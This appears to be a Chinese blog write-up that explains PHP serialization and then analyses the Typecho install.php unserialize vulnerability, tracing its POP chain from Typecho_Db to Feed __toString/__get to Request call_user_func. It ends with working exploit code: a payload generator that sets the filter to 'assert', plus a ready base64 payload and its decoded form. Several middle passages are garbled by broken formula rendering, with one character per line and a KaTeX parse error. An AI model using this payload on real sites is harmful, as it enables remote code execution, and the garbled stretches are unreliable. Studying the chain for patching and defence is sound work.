什么是序列化?
百度百科:
将对象的状态信息转换为可以存储或传输形式的过程(字符串)。在序列化期间,对象将其当前的状态写入到临时(内存)或持久性存储区(硬盘)。以后可以通过从存储区中读取或者反序列化对象状态,重新创建状态。
简单来讲,序列化就是把一个对象变成可传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。字符串包括,属性名,属性值,属性类型和该对象对应的类名。
对象的序列化利于对象的 保存和传输 ,也可以让多个文件共享对象。将用户存储到临时或硬盘中(数据库),可以理解为一个拍快照,通常使用非关系型数据库,如redis、 MongodDB等(非关系型数据库一般用来进行缓存数据)
常见的序列化格式:
• 二进制格式
• 字节数组
• json字符串
• xml字符串
直到漏洞在install.php里,所以这里直接看源码。
在源码的第58行开始有哪个判断,分别是get和ip进行判断,如果条件不成立直接退出;
如果get到一个finish并且带上ip相同的referer,条件成立继续执行。
下面就是反序列化点
在第230行
1是传入finish参数,进入以下的语句块。
2这里有两个反序列化点,其中的Typecho_Cookie: :get的意思是,如果存在cookie就取cookie,如果没有就取post;Typrcho_config是cookie的一个key,这里可以直接控制。
3找到反序列化点后,接着查看POP链,这里就是其中一个POR点。
这里需要传入一个finish参数,然后在230行将cookie中的__typecho_config的值通过base64解码之后反序列化。
再往下看两行到232行,这里将
c
o
n
f
i
g
[
′
a
d
a
p
t
e
r
′
]
作
为
第
一
个
参
数
传
入
到
T
y
p
e
c
h
o
D
b
(
)
中
。
config['adapter']作为第一个参数传入到Typecho_Db()中。
config[′adapter′]作为第一个参数传入到TypechoDb()中。config就是反序列化传来的对象,因此这个参数也是我们可控的。我们跟进一下Typecho_Db()
打开Db.php
在第114和120看到定义的变量,这里将我们传来的第一个参数做字符串拼接,如果第一个参数是对象的话,那么这里就会调用__toString()方法,那正好,第一个参数是可控的。
接下来寻找__toString方法,找到了一个Typecho_Feed类,寻找是件很痛苦的事,挨个找好难,在同文件夹下的Feed.php下
在上图中看到
i
t
e
m
[
′
a
u
t
h
o
r
′
]
−
>
s
c
r
e
e
n
N
a
m
e
,
如
果
item['author']->screenName,如果
item[′author′]−>screenName,如果item[‘author’]是一个不能存在screenName属性类的话,那么这里就会调用这个类的__get()魔术方法,说明这个KaTeX parse error: Expected group after '_' at position 38: …screenName属性,并且_̲_get()方法存在危险操作。…content .= ‘dc:creator’ . htmlspecialchars($item[‘author’]->screenName) . ‘</dc:creator>’ . self::EOL;发现问题,前面提到__get()用于从不可访问的属性读取数据,foreach遍历时当screenName对象不存在的时候会调用__get(),这就全局搜索有__get()方法的类。
这两种思路是相同的,在Request.php选定代码。
跟进get()
t
h
i
s
−
>
p
a
r
a
m
s
也
可
控
,
而
this->_params也可控,而
this−>params也可控,而key正式screenName,因此$value可控。
跟进applyFilter
可以看到,这里有个call_user_func方法,且
f
i
l
t
e
r
和
filter和
filter和value都可控。至此这条pop链基本是构造完了。
看到了call_user_func($filter, $value),这个函数的作用是把第一个参数作为回调函数调用,比如这个例子:
<?php
function barber($type)
{
echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom"); //输出You wanted a mushroom haircut, no problem
call_user_func('barber', "shave"); //输出You wanted a shave haircut, no problem
?>
到此为止,利用链基本完整:
install.php中unserialize()内容可控==>install.php实例化了一个Typecho_Db,其中获取适配器名称$adapterName时调用了魔术方法__toString==>Feed.php执行__toString()的时候在获取screenName的时候调用了__get()方法==>Request.php中__get()中调用的get(),其中执行了_applyFilte==> Request.php中的_applyFilter()中使用了call_user_func(),该回调函数导致漏洞触发。
0x02 漏洞利用
payload如下:
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct()
{
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'content' => '1',
'link' => '1',
'date' => 1540996608,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}
$payload = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($payload));
?>
生成php文件访问它
会得到payload(base64)
YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9解码后
a:7:{s:4:“host”;s:9:“localhost”;s:4:“user”;s:6:“xxxxxx”;s:7:“charset”;s:4:“utf8”;s:4:“port”;s:4:“3306”;s:8:“database”;s:7:“typecho”;s:7:“adapter”;O:12:“Typecho_Feed”:3:{s:19:“Typecho_Feed_type”;s:7:“RSS
2.0”;s:20:“Typecho_Feed_items”;a:1:{i:0;a:5:{s:4:“link”;s:1:“1”;s:5:“title”;s:1:“2”;s:4:“date”;i:1507720298;s:6:“author”;O:15:“Typecho_Request”:2:{s:24:“Typecho_Request_params”;a:1:{s:10:“screenName”;i:-1;}s:24:“Typecho_Request_filter”;a:1:{i:0;s:7:“phpinfo”;}}s:8:“category”;a:1:{i:0;O:15:“Typecho_Request”:2:{s:24:“Typecho_Request_params”;a:1:{s:10:“screenName”;i:-1;}s:24:“Typecho_Request_filter”;a:1:{i:0;s:7:“phpinfo”;}}}}}s:10:“dateFormat”;N;}s:6:“prefix”;s:8:“typecho_”;}